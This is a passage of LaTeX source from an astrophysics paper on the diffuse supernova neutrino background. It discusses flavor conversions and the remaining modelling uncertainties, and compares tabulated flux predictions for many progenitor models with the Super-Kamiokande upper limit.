where $\mathrm{d} \Phi^0_{\ensuremath{\bar{\nu}_{e}}}/\mathrm{d} E$ and $\mathrm{d} \Phi^0_{\ensuremath{\nu_{x}}}/\mathrm{d} E$ are the unoscillated spectra for electron antineutrinos (\ensuremath{\bar{\nu}_{e}}) and a re\-pre\-sen\-ta\-tive heavy-lepton neutrino (\ensuremath{\nu_{x}}). $\bar{p}\,\mathord{\simeq}\,0.7$ ($\bar{p}\,\mathord{\simeq}\,0$) denotes the survival probability of \ensuremath{\bar{\nu}_{e}}\ in the cases of normal (NH) or inverted (IH) mass hierarchy, respectively.\footnote{\citet{2012JCAP...07..012L} showed that the effects of self-induced (collective) conversions and the MSW resonances can be treated separately, because the latter occur farther away from the central core regions of a SN. The \ensuremath{\bar{\nu}_{e}}\ survival probability is then given by $\bar{p} = \cos^2\theta_{12}\bar{P}_\mathrm{c}$ for NH, and $\bar{p} = \cos^2\theta_{12}(1-\bar{P}_\mathrm{c})$ for IH, with $\bar{P}_\mathrm{c}$ denoting the survival probability when exclusively collective effects play a role \citep[for more details, see also][]{2011PhLB..702..209C}. However, \citet{2012JCAP...07..012L} noted that self-induced conversions affect the DSNB only on a few-percent level and can therefore be neglected. Also the recently discussed fast conversions \citep[see, e.g.,][]{2016NuPhB.908..366C, 2017ApJ...839..132T, 2017PhRvL.118b1101I}, which might lead to partial flavor equilibration, should not modify the DSNB in a more extreme manner than captured by the two discussed extremes of purely MSW-induced conversions (i.e., $\bar{p} \simeq 0$ and $\bar{p} \simeq 0.7$), as pointed out by \citet{2018JCAP...05..066M}.} Recently, \citet{2018JCAP...05..066M} confirmed by numerically solving the neutrino kinetic equations of motion that (matter-induced) neutrino flavor conversions can be well approximated by the simplified analytic description of Equation~\eqref{eq:flavor_conversion} for the small set of \textsc{Prometheus-Vertex} simulations that they used in their study and that we also employ in our work as reference cases to calibrate some degrees of freedom in our modeling approach (see Table~\ref{tab:flavor_ratios} in Appendix~\ref{appendix:rescaling}). We already mentioned earlier that the large sets of core-collapse simulations underlying our DSNB calculations do not provide reliable information of the heavy-lepton neutrino source emission, which is why we use \textsc{Prometheus-Vertex} SN and BH-formation models to rescale the neutrino energy release in the different neutrino species (see Section~\ref{subsec:spectra}). For the same reason, we also adjust the spectral parameters, $\langle E_{\ensuremath{\nu_{x}}} \rangle$ and \ensuremath{\overline{\alpha}_{\nux}}, of the time-integrated \ensuremath{\nu_{x}}\ emission (the bar in the symbol \ensuremath{\overline{\alpha}_{\nux}}\ indicates that the shape parameter refers to the \textit{time-integrated} spectrum rather than the \textit{instantaneous} spectrum), guided by the sophisticated \textsc{Prometheus-Vertex} models listed in Table~\ref{tab:flavor_ratios}, to get a useful representation of the unoscillated DSNB spectrum of heavy-lepton neutrinos, $\mathrm{d} \Phi^0_{\ensuremath{\nu_{x}}}/\mathrm{d} E$ (see Appendix~\ref{appendix:rescaling} for the details).
In the left panel of Figure~\ref{fig:dsnb_uncert}, we show our unoscillated, fiducial DSNB spectrum for \ensuremath{\bar{\nu}_{e}}, $\mathrm{d} \Phi^0_{\ensuremath{\bar{\nu}_{e}}}/\mathrm{d} E$ (black dashed line), and the corresponding unoscillated DSNB spectrum for \ensuremath{\nu_{x}}, $\mathrm{d} \Phi^0_{\ensuremath{\nu_{x}}}/\mathrm{d} E$ (red solid line), for our fiducial model pa\-ra\-me\-ters (see Section~\ref{sec:fiducial_model}). According to Equation~\eqref{eq:flavor_conversion}, the latter represents the case of IH, where a complete flavor swap ($\ensuremath{\bar{\nu}_{e}}\,\mathord{\leftrightarrow}\,\ensuremath{\nu_{x}}$) takes place. If, instead, the case of NH is realized in Nature, an outcome between the two plotted extremes can be expected. The uncertainty arising from the cosmic core-collapse rate \citep[corresponding to the $\pm1\sigma$ interval of the SFH from][]{2014ApJ...790..115M} is indicated by shaded bands. In Table~\ref{tab:dsnb_flavor_conversions}, we additionally provide the integrated \ensuremath{\bar{\nu}_{e}}-flux for different energy intervals and a complete flavor swap ($\ensuremath{\bar{\nu}_{e}}\,\mathord{\leftrightarrow}\,\ensuremath{\nu_{x}}$) in analogy to what is given in Table~\ref{tab:dsnb_contributions} for the case of no flavor oscillations (\ensuremath{\bar{\nu}_{e}}). The most important difference is a reduced contribution from failed SNe. This can be understood by the small relative fraction of the heavy-lepton neutrino emission, $\tilde{\xi}_{\ensuremath{\nu_{x}}}$, in our two \textsc{Prometheus-Vertex} reference models for BH formation, which we employ for our rescaling (Appendix~\ref{appendix:rescaling}). At the same time, the contribution from successful explosions (including ECSNe) is largely unchanged, which reflects the approximate flavor equipartition in their neutrino emission.
\begin{deluxetable*}{lccccc}
\tablecaption{
DSNB-flux components for the case of a complete flavor swap ($\ensuremath{\bar{\nu}_{e}}\,\mathord{\leftrightarrow}\,\ensuremath{\nu_{x}}$).
\label{tab:dsnb_flavor_conversions}}
\tablehead{
\colhead{} & \colhead{$\unit{(0-10)}{MeV}$} & \colhead{$\unit{(10-20)}{MeV}$} & \colhead{$\unit{(20-30)}{MeV}$} & \colhead{$\unit{(30-40)}{MeV}$} & \colhead{$\unit{(0-40)}{MeV}$}
}
\startdata
Total DSNB Flux (\ensuremath{\bar{\nu}_{e}}) & $\unit{19.3}{cm^{-2}s^{-1}}$ & $\unit{4.3}{cm^{-2}s^{-1}}$ & $\unit{0.5}{cm^{-2}s^{-1}}$& $\unit{0.1}{cm^{-2}s^{-1}}$ & $\unit{24.2}{cm^{-2}s^{-1}}$ \\
\hline
ECSNe & $3.0\%$ & $1.5\%$ & $0.8\%$ & $0.4\%$ & $2.7\%$ \\
Iron-Core SNe & $68.4\%$ & $65.4\%$ & $52.3\%$ & $37.9\%$ & $67.5\%$ \\
Failed SNe & $28.6\%$ & $33.2\%$ & $47.0\%$ & $61.8\%$ & $29.9\%$
\enddata
\tablecomments{
First row: DSNB \ensuremath{\bar{\nu}_{e}}-flux for the case of a complete flavor swap ($\ensuremath{\bar{\nu}_{e}}\,\mathord{\leftrightarrow}\,\ensuremath{\nu_{x}}$), integrated over different energy intervals. Rows 2--4: Relative contributions from the various source types (ECSNe/iron-core SNe/failed SNe). Our fiducial model paramters (Z9.6\,\&\,W18; $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$; best-fit $\alpha$) are used. Compare with Table~\ref{tab:dsnb_contributions}, where values for the unoscillated \ensuremath{\bar{\nu}_{e}}-flux are provided.}
\end{deluxetable*}
Despite the less relevant contribution from failed SNe, the slope parameter $E_0$/MeV of the exponential fit of Equation~\eqref{eq:exponential_dsnb_fit} is increased marginally from 4.82 to 4.84 in the case of a complete flavor swap (see Table~\ref{tab:exp_fit}) because smaller values of the spectral-shape parameter \ensuremath{\overline{\alpha}_{\nux}}\ for heavy-lepton neutrinos (see Table~\ref{tab:flavor_ratios}; $\ensuremath{\lambda_{\overline{\alpha}}^{\scriptsize\textsc{PV}}}\,\mathord{<}\,1$) partly compensate for the reduced flux of \ensuremath{\nu_{x}}\ in the high-energy region associated with the BH cases. The mean energies of the time-integrated neutrino signals are fairly similar for \ensuremath{\nu_{x}}\ and \ensuremath{\bar{\nu}_{e}}\ (see Table~\ref{tab:flavor_ratios}; $\ensuremath{\lambda_{\langle E\rangle}^{\scriptsize\textsc{PV}}}\,\mathord{\sim}\,1$), as suggested by state-of-the-art simulations \citep[e.g.,][]{2009A&A...496..475M, 2014ApJ...788...82M} and a consequence of the inclusion of energy transfers (non-isoenergetic effects) in the neutrino-nucleon scattering reactions \citep[see][]{2003ApJ...590..971K, Huedepohl:2014}. In conflict with this result of modern SN models with state-of-the-art treatment of the neutrino transport, several previous DSNB studies employed spectra with \ensuremath{\langle E_{\nux} \rangle}\ being considerably higher than $\langle E_{\ensuremath{\bar{\nu}_{e}}} \rangle$ (particularly for the emission from failed explosions).
In line with the recent studies by \citet{2017JCAP...11..031P} and \citet{2018JCAP...05..066M}, we find that neutrino flavor conversions have a fairly moderate influence on the DSNB (for \ensuremath{\bar{\nu}_{e}}), which is well dominated by other uncertainties. Nonetheless, for our highest-flux models (with a weak central engine and a high maximum NS mass), which possess a large DSNB contribution from BH-forming events, the oscillation effects become more pronounced. We will further comment on this in Section~\ref{subsec:dsnb_SK_limit}.
For the DSNB \ensuremath{\nu_{e}}\ flux the effects of neutrino flavor oscillations can be described in an analogue manner \citep[see, e.g.,][]{2011PhLB..702..209C,2012JCAP...07..012L}. In the most extreme case of NH (and purely MSW-induced flavor conversions), a complete flavor swap ($\ensuremath{\nu_{e}}\,\mathord{\leftrightarrow}\,\ensuremath{\nu_{x}}$) can take place, whereas for IH a measurable DSNB \ensuremath{\nu_{e}}-flux spectrum in between the unoscillated spectra of \ensuremath{\nu_{x}}\ and \ensuremath{\nu_{e}}\ can be expected.
\subsection{Tests of Remaining Uncertainties}\label{subsec:remaining_uncertainties}
As we point out in Appendix~\ref{appendix:total_energies}, the total radiated neutrino energies (\ensuremath{E_{\nu}^\mathrm{tot}}) of our successful SNe might, on average, be overestimated by a few percent, whereas the neutrino emission from failed explosions could be slightly underestimated in our modeling approach for the neutrino signals. In the right panel of Figure~\ref{fig:dsnb_uncert}, we therefore compare our fiducial DSNB prediction (black dashed line) with a spectrum where \ensuremath{E_{\nu}^\mathrm{tot}}\ of all exploding progenitors is reduced by 15\% (lower edge of the red band). This choice of the reduction is guided by a comparison of \ensuremath{E_{\nu}^\mathrm{tot}}\ with the gravitational binding energies BE$_{12}$ of the corresponding NS remnants (Equation~\eqref{eq:LattimerPrakash} with $R_\mathrm{NS}\,\mathord{=}\,\unit{12}{km}$; see Figure~\ref{fig:appendix_E_tot_SNe} and Table~\ref{tab:IMF-weighted_deviations_from_LP2001}), consistent with the cold-NS radius suggested by recent astrophysical observations and constraints from nuclear theory and experiments (see footnote~\ref{fn:R_NS}). Analogously, the upper edge of the red band in Figure~\ref{fig:dsnb_uncert} indicates a model where \ensuremath{E_{\nu}^\mathrm{tot}}\ of all failed explosions is increased by 15\%. This case is motivated by the circumstance that the maximum neutrino emission in our failed-SN models with late BH formation lies $\sim$10--20\% below the maximally available gravitational binding energy according to Equation~\eqref{eq:LattimerPrakash} of a NS at its mass limit (see Figure~\ref{fig:appendix_E_tot_fSNe} and Table~\ref{tab:BE_fSNe}). Any mix of changes of the NS and BH energy release will lead to intermediate results. Note that the corresponding red uncertainty band is hardly visible on the logarithmic scale.
A somewhat stronger effect can be seen when we vary the mean energies, \ensuremath{\langle E \rangle}, of the time-integrated spectra by $-$10\% for successful SNe or by $+$10\% for failed explosions, respectively (lower and upper edges of the blue shaded band). Particularly at high energies, the spectra fan out noticeably. Such an uncertainty range cannot be ruled out according to present knowledge. Again, changing \ensuremath{\langle E \rangle}\ for both successful and failed SNe at the same time yields a result in between the given limits. In Appendix~\ref{appendix:spectra}, we show that the outcome of our simplified approach is in reasonable overall agreement with results from the sophisticated \textsc{Prometheus-Vertex} simulations; nonetheless, the mean energies of the time-integrated spectra do not match perfectly (they lie $\sim$1\,MeV higher/lower than in the \textsc{Vertex} models to compare with for successful/failed SNe; see Figures~\ref{fig:appendix_spectra} and \ref{fig:appendix_spectra_fSNe}). Besides this fact, we should emphasize that the neutrino emission characteristics depend considerably on the still incompletely known high-density EoS \citep[e.g.,][]{2013ApJ...774...17S, 2019PhRvC.100e5802S} and also depend on the effects of muons, which have been neglected in most previous stellar core-collapse models, but can raise the mean energies of the radiated neutrinos \citep{2017PhRvL.119x2702B}.
Despite these uncertainties associated with the neutrino source, the cosmic core-collapse rate \ensuremath{R_\mathrm{CC}}\ still constitutes the largest uncertainty affecting the DSNB, especially at lower energies (see Figure~\ref{fig:dsnb_SFR}). Accordingly, the gray shaded band in the right panel of Figure~\ref{fig:dsnb_uncert} indicates the $\pm1\sigma$ variation of \ensuremath{R_\mathrm{CC}}\ for the SFH from \citet{2014ApJ...790..115M}. Upcoming wide-field surveys such as LSST \citep{2002SPIE.4836...10T} should be able to pin down the \textit{visible} SN rate (below redshifts of $z\,\mathord{\sim}\,1$) to good accuracy, opening the chance for DSNB measurements to probe particularly the contribution from \textit{faint} and \textit{failed} explosions \citep{2010PhRvD..81h3001L}.
Finally, one should keep in mind that we only employ solar-metallicity progenitor models in our simulations. Obviously, this is a simplification, because the distribution of metals in the Universe is spatially non-uniform (see, e.g., the low metallicities in the Magellanic Clouds) and evolves with cosmic time. Since the fraction of failed explosions depends on metallicity \citep[e.g.,][]{2002RvMP...74.1015W, 2003ApJ...591..288H, 2012ARA&A..50..107L}, \citet{2015ApJ...804...75N} and \citet{2015PhLB..751..413Y} considered a failed-SN fraction that increases with redshift. On the other hand, \citet{2008MNRAS.391.1117P} suggested that the average metallicity does not decline dramatically up to $z\,\mathord{\sim}\,2$. Assuming solar metallicity should therefore be a sufficiently good approximation, in view of the fact that the DSNB flux in the energy window favorable to the DSNB detection is produced almost entirely by sources at moderate redshifts (see Figure~\ref{fig:dsnb_contributions}).
At this point we should also remind the reader that a core-collapse SN is an inherently multi-dimensional phenomenon \citep[see, e.g.,][]{2016PASA...33...48M}. While our simplified 1D approach should be able to capture the overall picture of the progenitor-dependent neutrino emission, an increasing number of fully self-consistent 3D simulations will have to validate our results eventually.
\begin{figure*}
\includegraphics[width=\textwidth]{fig10}
\caption{Comparison of our most extreme DSNB predictions with the upper flux limit from SK: $\Phi_{>17.3} \equiv \Phi(E\,\mathord{>}\,\unit{17.3}{MeV}) \lesssim \unit{(2.8-3.1)}{cm^{-2}s^{-1}}$ \citep{2012PhRvD..85e2007B}. The shaded bands in the left panel show the spread between the flux spectra $\mathrm{d}\Phi/\mathrm{d} E$ of electron antineutrinos, resulting from various combinations of the source parameters considered in Section~\ref{subsec:dsnb_parameter_study} (see Figure~\ref{fig:dsnb_parameter_study}). Our fiducial model (W18-BH2.7-$\alpha$2.0; Section~\ref{sec:fiducial_model}) is displayed by a dashed line. To guide the eye, we discriminate the approximate ranges for models that yield an integrated flux $\Phi_{>17.3}$ below $\unit{3.1}{cm^{-2}s^{-1}}$ (gray) or exceed this limit (red); see the main text for details. As in the previous figures, vertical bands frame the approximate detection window. In the right panel, $\Phi_{>17.3}$ is shown for a selection of models (including our fiducial case; black cross) that reach close to or beyond the SK limit (pale and dark shaded for $2.8$ and $\unit{3.1}{cm^{-2}s^{-1}}$, respectively) as a function of the fit parameter $E_0$ (Equation~\eqref{eq:exponential_dsnb_fit}). Both vertical and horizontal error bars indicate the uncertainty connected to the cosmic SFH \citep[$\pm1\sigma$ limits of][]{2014ApJ...790..115M}. The one-sided horizontal error intervals are caused by the fact that the functional fits to the SFH scale slightly differently with redshift (see footnote~\ref{fn:E0_RCC}), with the best-fit case by \cite{2014ApJ...790..115M} yielding the largest relative contribution from high-redshift regions and thus smallest value of $E_0$ compared to both the +1$\sigma$ and the $-$1$\sigma$ limits.\\
\label{fig:dsnb_extremes}}
\end{figure*}
\section{Comparison with the SK-flux limits and previous works} \label{sec:comparison}
\subsection{Comparison with the SK-flux Limits}\label{subsec:dsnb_SK_limit}
After discussing the dependence of the predicted DSNB spectrum on different inputs in Sections~\ref{sec:parameter_study} and \ref{sec:uncertainties}, we compare our results now with the most stringent \ensuremath{\bar{\nu}_{e}}-flux limit set by the SK experiment \citep{2012PhRvD..85e2007B}: $\Phi_{>17.3} \equiv \Phi(E\,\mathord{>}\,\unit{17.3}{MeV}) \lesssim \unit{(2.8-3.1)}{cm^{-2}s^{-1}}$.
\begin{deluxetable*}{lrrr}
\tablecaption{Total integrated DSNB flux ($\Phi_{\mathrm{tot}}$), flux within the observational window of 10--30\,MeV ($\Phi_{10-30}$), and flux above $\unit{17.3}{MeV}$ ($\Phi_{>17.3}$) for the same subset of our DSNB models as listed in Table~\ref{tab:exp_fit}.
\label{tab:overview}}
\tablehead{
\colhead{Model} & \colhead{$\Phi_\mathrm{tot}$ [$\mathrm{cm^{-2}s^{-1}}$]} & \colhead{$\Phi_{10-30}$ [$\mathrm{cm^{-2}s^{-1}}$]} & \colhead{$\Phi_{>17.3}$ [$\mathrm{cm^{-2}s^{-1}}$]}
}
\startdata
W18-BH2.7-$\alpha$2.0 (fiducial) & $28.8^{+24.6}_{-10.9}$ ($24.2^{+20.7}_{-9.2}$, $20.8^{+6.6}_{-5.3}$, $15.2$) & $6.0^{+5.1}_{-2.1}$ ($4.8^{+4.0}_{-1.7}$, $5.0^{+2.0}_{-1.6}$, $3.4$) & $1.3^{+1.1}_{-0.4}$ ($1.0^{+0.9}_{-0.3}$, $1.2^{+0.6}_{-0.5}$, $0.8$) \\
W20-BH3.5-$\alpha$1.0 (max.) & $41.7^{+35.7}_{-15.8}$ ($30.4^{+26.0}_{-11.5}$, $30.1^{+9.5}_{-7.7}$, $22.0$) & $10.8^{+8.9}_{-3.8}$ ($7.0^{+5.8}_{-2.5}$, $8.6^{+3.1}_{-2.5}$, $6.0$) & $3.5^{+2.9}_{-1.2}$ ($2.1^{+1.8}_{-0.7}$, $3.0^{+1.2}_{-1.0}$, $2.0$) \\
S19.8-BH2.3-$\alpha$3.0 (min.) & $24.4^{+20.9}_{-9.2}$ ($22.8^{+19.5}_{-8.6}$, $17.6^{+5.6}_{-4.5}$, $12.9$) & $4.5^{+3.8}_{-1.6}$ ($4.2^{+3.5}_{-1.5}$, $3.8^{+1.6}_{-1.3}$, $2.6$) & $0.7^{+0.7}_{-0.3}$ ($0.8^{+0.7}_{-0.3}$, $0.7^{+0.4}_{-0.3}$, $0.5$) \\
\hline
S19.8-BH2.7-$\alpha$2.0 & $27.7^{+23.7}_{-10.5}$ ($24.7^{+21.2}_{-9.4}$, $20.0^{+6.3}_{-5.1}$, $14.6$) & $5.5^{+4.6}_{-1.9}$ ($4.7^{+3.9}_{-1.6}$, $4.6^{+1.8}_{-1.5}$, $3.1$) & $1.0^{+0.9}_{-0.4}$ ($0.9^{+0.8}_{-0.3}$, $1.0^{+0.5}_{-0.4}$, $0.7$) \\
N20-BH2.7-$\alpha$2.0 & $27.4^{+23.4}_{-10.4}$ ($23.6^{+20.2}_{-8.9}$, $19.8^{+6.2}_{-5.1}$, $14.4$) & $5.6^{+4.7}_{-1.9}$ ($4.5^{+3.8}_{-1.6}$, $4.6^{+1.8}_{-1.5}$, $3.2$) & $1.1^{+1.0}_{-0.4}$ ($0.9^{+0.8}_{-0.3}$, $1.0^{+0.5}_{-0.4}$, $0.7$) \\
W15-BH2.7-$\alpha$2.0 & $28.7^{+24.6}_{-10.9}$ ($23.7^{+20.3}_{-9.0}$, $20.7^{+6.5}_{-5.3}$, $15.2$) & $6.1^{+5.1}_{-2.1}$ ($4.7^{+3.9}_{-1.6}$, $5.1^{+2.0}_{-1.6}$, $3.5$) & $1.3^{+1.1}_{-0.4}$ ($1.0^{+0.9}_{-0.3}$, $1.2^{+0.6}_{-0.5}$, $0.8$) \\
W20-BH2.7-$\alpha$2.0 & $32.6^{+27.9}_{-12.3}$ ($24.9^{+21.3}_{-9.4}$, $23.5^{+7.4}_{-6.0}$, $17.2$) & $7.4^{+6.1}_{-2.6}$ ($5.2^{+4.3}_{-1.8}$, $6.1^{+2.3}_{-1.9}$, $4.2$) & $1.7^{+1.5}_{-0.6}$ ($1.2^{+1.0}_{-0.4}$, $1.5^{+0.7}_{-0.6}$, $1.1$) \\
\hline
W18-BH2.3-$\alpha$2.0 & $24.8^{+21.2}_{-9.4}$ ($21.7^{+18.6}_{-8.2}$, $17.9^{+5.7}_{-4.6}$, $13.1$) & $4.8^{+4.0}_{-1.7}$ ($4.1^{+3.4}_{-1.4}$, $4.0^{+1.6}_{-1.3}$, $2.8$) & $0.9^{+0.8}_{-0.3}$ ($0.8^{+0.7}_{-0.3}$, $0.8^{+0.4}_{-0.3}$, $0.6$) \\
W18-BH2.7-$\alpha$2.0 & $28.8^{+24.6}_{-10.9}$ ($24.2^{+20.7}_{-9.2}$, $20.8^{+6.6}_{-5.3}$, $15.2$) & $6.0^{+5.1}_{-2.1}$ ($4.8^{+4.0}_{-1.7}$, $5.0^{+2.0}_{-1.6}$, $3.4$) & $1.3^{+1.1}_{-0.4}$ ($1.0^{+0.9}_{-0.3}$, $1.2^{+0.6}_{-0.5}$, $0.8$) \\
W18-BH3.1-$\alpha$2.0 & $32.3^{+27.6}_{-12.2}$ ($26.2^{+22.4}_{-9.9}$, $23.3^{+7.3}_{-6.0}$, $17.0$) & $7.3^{+6.1}_{-2.6}$ ($5.4^{+4.5}_{-1.9}$, $6.0^{+2.3}_{-1.9}$, $4.1$) & $1.7^{+1.5}_{-0.6}$ ($1.2^{+1.1}_{-0.4}$, $1.5^{+0.7}_{-0.6}$, $1.1$) \\
W18-BH3.5-$\alpha$2.0 & $35.4^{+30.3}_{-13.4}$ ($28.1^{+24.0}_{-10.7}$, $25.5^{+8.1}_{-6.5}$, $18.7$) & $8.6^{+7.2}_{-3.0}$ ($6.1^{+5.1}_{-2.1}$, $7.1^{+2.6}_{-2.1}$, $4.9$) & $2.2^{+1.9}_{-0.8}$ ($1.5^{+1.3}_{-0.5}$, $2.0^{+0.9}_{-0.7}$, $1.4$) \\
\hline
W18-BH2.7-$\alpha$1.0 & $28.8^{+24.6}_{-10.9}$ ($24.1^{+20.6}_{-9.1}$, $20.8^{+6.6}_{-5.3}$, $15.2$) & $6.0^{+5.0}_{-2.1}$ ($4.8^{+4.0}_{-1.7}$, $5.0^{+1.9}_{-1.5}$, $3.4$) & $1.4^{+1.2}_{-0.5}$ ($1.1^{+0.9}_{-0.4}$, $1.3^{+0.6}_{-0.5}$, $0.9$) \\
W18-BH2.7-$\alpha$1.5 & $28.8^{+24.6}_{-10.9}$ ($24.2^{+20.7}_{-9.2}$, $20.8^{+6.6}_{-5.3}$, $15.2$) & $6.1^{+5.1}_{-2.1}$ ($4.8^{+4.0}_{-1.7}$, $5.0^{+1.9}_{-1.6}$, $3.4$) & $1.3^{+1.2}_{-0.5}$ ($1.0^{+0.9}_{-0.4}$, $1.2^{+0.6}_{-0.5}$, $0.9$) \\
W18-BH2.7-$\alpha$2.0 & $28.8^{+24.6}_{-10.9}$ ($24.2^{+20.7}_{-9.2}$, $20.8^{+6.6}_{-5.3}$, $15.2$) & $6.0^{+5.1}_{-2.1}$ ($4.8^{+4.0}_{-1.7}$, $5.0^{+2.0}_{-1.6}$, $3.4$) & $1.3^{+1.1}_{-0.4}$ ($1.0^{+0.9}_{-0.3}$, $1.2^{+0.6}_{-0.5}$, $0.8$) \\
W18-BH2.7-$\alpha$2.5 & $28.8^{+24.6}_{-10.9}$ ($24.2^{+20.7}_{-9.2}$, $20.8^{+6.6}_{-5.3}$, $15.2$) & $6.0^{+5.1}_{-2.1}$ ($4.7^{+4.0}_{-1.6}$, $5.0^{+2.0}_{-1.6}$, $3.5$) & $1.2^{+1.1}_{-0.4}$ ($1.0^{+0.8}_{-0.3}$, $1.1^{+0.6}_{-0.4}$, $0.8$) \\
W18-BH2.7-$\alpha$3.0 & $28.8^{+24.6}_{-10.9}$ ($24.2^{+20.7}_{-9.2}$, $20.8^{+6.6}_{-5.3}$, $15.2$) & $6.0^{+5.0}_{-2.1}$ ($4.7^{+4.0}_{-1.6}$, $5.0^{+2.0}_{-1.6}$, $3.4$) & $1.1^{+1.0}_{-0.4}$ ($0.9^{+0.8}_{-0.3}$, $1.1^{+0.6}_{-0.4}$, $0.8$) \\
\hline
W18-BH2.7-$\alpha$2.0-He33 & $23.7^{+20.3}_{-9.0}$ ($20.2^{+17.3}_{-7.7}$, $17.2^{+5.4}_{-4.4}$, $12.5$) & $4.9^{+4.1}_{-1.7}$ ($4.0^{+3.3}_{-1.4}$, $4.1^{+1.6}_{-1.3}$, $2.8$) & $1.0^{+0.9}_{-0.3}$ ($0.8^{+0.7}_{-0.3}$, $0.9^{+0.5}_{-0.4}$, $0.7$) \\
W18-BH2.7-$\alpha$2.0-He100 & $13.6^{+11.6}_{-5.2}$ ($12.4^{+10.6}_{-4.7}$, $10.0^{+3.2}_{-2.6}$, $7.2$) & $2.7^{+2.3}_{-0.9}$ ($2.4^{+2.0}_{-0.8}$, $2.3^{+0.9}_{-0.7}$, $1.6$) & $0.5^{+0.4}_{-0.2}$ ($0.5^{+0.4}_{-0.2}$, $0.5^{+0.3}_{-0.2}$, $0.3$) \\
\hline
S19.8-BH2.3-$\alpha$2.0 & $24.4^{+20.9}_{-9.2}$ ($22.8^{+19.5}_{-8.6}$, $17.6^{+5.6}_{-4.5}$, $12.9$) & $4.6^{+3.8}_{-1.6}$ ($4.2^{+3.5}_{-1.5}$, $3.9^{+1.6}_{-1.3}$, $2.6$) & $0.8^{+0.7}_{-0.3}$ ($0.8^{+0.7}_{-0.3}$, $0.8^{+0.4}_{-0.3}$, $0.5$) \\
W18-BH3.5-$\alpha$1.0 & $35.3^{+30.2}_{-13.4}$ ($28.1^{+24.0}_{-10.6}$, $25.5^{+8.0}_{-6.5}$, $18.6$) & $8.4^{+7.0}_{-3.0}$ ($6.0^{+5.0}_{-2.1}$, $6.8^{+2.5}_{-2.0}$, $4.7$) & $2.5^{+2.1}_{-0.8}$ ($1.6^{+1.4}_{-0.6}$, $2.1^{+0.9}_{-0.7}$, $1.5$) \\
W15-BH3.5-$\alpha$1.0 & $35.4^{+30.3}_{-13.4}$ ($27.8^{+23.8}_{-10.5}$, $25.6^{+8.0}_{-6.5}$, $18.7$) & $8.6^{+7.2}_{-3.0}$ ($6.1^{+5.1}_{-2.1}$, $7.0^{+2.5}_{-2.1}$, $4.8$) & $2.6^{+2.2}_{-0.9}$ ($1.7^{+1.4}_{-0.6}$, $2.2^{+1.0}_{-0.8}$, $1.5$) \\
W20-BH2.7-$\alpha$1.0 & $32.5^{+27.8}_{-12.3}$ ($24.8^{+21.2}_{-9.4}$, $23.5^{+7.4}_{-6.0}$, $17.2$) & $7.3^{+6.1}_{-2.6}$ ($5.2^{+4.3}_{-1.8}$, $6.0^{+2.2}_{-1.8}$, $4.1$) & $2.0^{+1.7}_{-0.7}$ ($1.3^{+1.1}_{-0.5}$, $1.7^{+0.8}_{-0.6}$, $1.2$) \\
W20-BH3.1-$\alpha$1.0 & $37.2^{+31.8}_{-14.1}$ ($27.7^{+23.7}_{-10.5}$, $26.9^{+8.5}_{-6.9}$, $19.6$) & $9.0^{+7.5}_{-3.2}$ ($6.1^{+5.0}_{-2.1}$, $7.3^{+2.6}_{-2.1}$, $5.0$) & $2.7^{+2.3}_{-0.9}$ ($1.7^{+1.5}_{-0.6}$, $2.3^{+1.0}_{-0.8}$, $1.6$) \\
W20-BH3.5-$\alpha$2.0 & $41.8^{+35.8}_{-15.9}$ ($30.4^{+26.0}_{-11.5}$, $30.2^{+9.5}_{-7.7}$, $22.1$) & $11.1^{+9.2}_{-3.9}$ ($7.2^{+5.9}_{-2.5}$, $9.0^{+3.3}_{-2.7}$, $6.2$) & $3.1^{+2.6}_{-1.1}$ ($1.9^{+1.7}_{-0.7}$, $2.7^{+1.2}_{-1.0}$, $1.9$)
\enddata
\tablecomments{The given values correspond to the unoscillated \ensuremath{\bar{\nu}_{e}}\ DSNB flux spectra using the SFH from \citet{2014ApJ...790..115M} with its associated $\pm1\sigma$ uncertainty. In parentheses, the values for the case of a complete flavor swap ($\ensuremath{\bar{\nu}_{e}} \leftrightarrow \ensuremath{\nu_{x}}$) are provided as well as the results for a SFH according to the EBL reconstruction model by the \citet{2018Sci...362.1031F} and for the SFH of \cite{2014MadauDickinson}.}
\end{deluxetable*}
The various parameter combinations considered in our study lead to a wide spread between the DSNB flux spectra, as can be seen in the left panel of Figure~\ref{fig:dsnb_extremes}. At high energies, the spectral tails of our different models fan out over more than an order of magnitude, with our most extreme cases yielding an integrated flux $\Phi_{>17.3}$ that clearly exceeds the SK limit. To guide the eye, we roughly mark the region of such disfavored models (with $\Phi_{>17.3}\,\mathord{\gtrsim}\,\unit{3.1}{cm^{-2}s^{-1}}$) by a red shaded band, while flux spectra with $\Phi_{>17.3}\,\mathord{\lesssim}\,\unit{3.1}{cm^{-2}s^{-1}}$, including our fiducial prediction (dashed line; see Section~\ref{sec:fiducial_model}), lie in the gray band. We take the specific model ``W20-BH3.5-$\alpha$2.0'' (i.e., Z9.6\,\&\,W20 neutrino engine, $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{3.5}{\ensuremath{\mathrm{M}_\sun}}$, $\ensuremath{\alpha_\mathrm{BH}}\,\mathord{=}\,2.0$) with the best-fit parameters taken for the SFH from \citet{2014ApJ...790..115M} as a bounding case; it yields an integrated flux $\Phi_{>17.3}\,\mathord{=}\,\unit{3.09}{cm^{-2}s^{-1}}$, just within the uncertainty range of the the SK limit (2.8--3.1\,cm$^{-2}$s$^{-1}$). We should emphasize, however, that this does not define a rigorous border line, since spectra with quite different values of the slope parameter $E_0$ (Equation~\eqref{eq:exponential_dsnb_fit}) can yield similar integrated fluxes in the energy range above $\unit{17.3}{MeV}$.
In the right panel of Figure~\ref{fig:dsnb_extremes}, we therefore plot $\Phi_{>17.3}$ as a function of the fit parameter $E_0$ for a selection of models reaching close to (or beyond) the SK bound, which is marked by the red shaded region (with its uncertainty indicated by two slightly shifted lines). This plot is also intended to facilitate a comparison with other works (see, e.g., table~1 in \citealt{2008JCAP...08..033L}, and figure~19 in \citealt{2012PhRvD..85e2007B}). The tendency of greater integrated fluxes $\Phi_{>17.3}$ for higher values of $E_0$ is obvious, yet there is significant scatter. Especially the large uncertainty connected to the cosmic core-collapse rate ($\pm1\sigma$ interval from \citealt{2014ApJ...790..115M}, indicated by error bars) impedes definite conclusions. Nonetheless, models of our study with the most extreme combinations of parameters such as the different cases of W20-BH3.5, which possess a strong contribution from failed SNe and thus large values of $E_0$ (see Section~\ref{subsec:dsnb_parameter_study} and Table~\ref{tab:exp_fit}), are already disfavored, because 